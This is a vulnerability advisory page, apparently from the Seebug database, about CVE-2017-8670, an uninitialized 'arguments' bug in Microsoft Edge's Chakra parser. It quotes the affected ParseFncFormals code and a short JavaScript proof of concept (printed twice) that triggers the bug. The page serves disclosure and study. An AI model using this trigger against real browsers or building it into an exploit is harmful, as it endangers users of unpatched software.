Lucene search

K
seebugRootSSV:96361
HistoryAug 17, 2017 - 12:00 a.m.

Microsoft Edge: Chakra: Uninitialized arguments 2(CVE-2017-8670)

2017-08-1700:00:00
Root
www.seebug.org
15

0.949 High

EPSS

Percentile

99.1%

Similar to the issue #1297 . But this time, it happends in “Parser::ParseFncFormals” with the “PNodeFlags::fpnArguments_overriddenInParam” flag.

template<bool buildAST>
void Parser::ParseFncFormals(ParseNodePtr pnodeFnc, ParseNodePtr pnodeParentFnc, ushort flags)
{
    ...
    if (IsES6DestructuringEnabled() && IsPossiblePatternStart())
    {
        ...
        // Instead of passing the STFormal all the way on many methods, it seems it is better to change the symbol type afterward.
        for (ParseNodePtr lexNode = *ppNodeLex; lexNode != nullptr; lexNode = lexNode->sxVar.pnodeNext)
        {
            Assert(lexNode->IsVarLetOrConst());
            UpdateOrCheckForDuplicateInFormals(lexNode->sxVar.pid, &formals);
            lexNode->sxVar.sym->SetSymbolType(STFormal);
            if (m_currentNodeFunc != nullptr && lexNode->sxVar.pid == wellKnownPropertyPids.arguments)
            {
                m_currentNodeFunc->grfpn |= PNodeFlags::fpnArguments_overriddenInParam;  <<------ HERE
            }
        }
        ...
    ...
}

PoC:

function f() {
    ({a = ([arguments]) => {
    }} = 1);

    arguments.x;
}

f();

                                                function f() {
    ({a = ([arguments]) => {
    }} = 1);

    arguments.x;
}

f();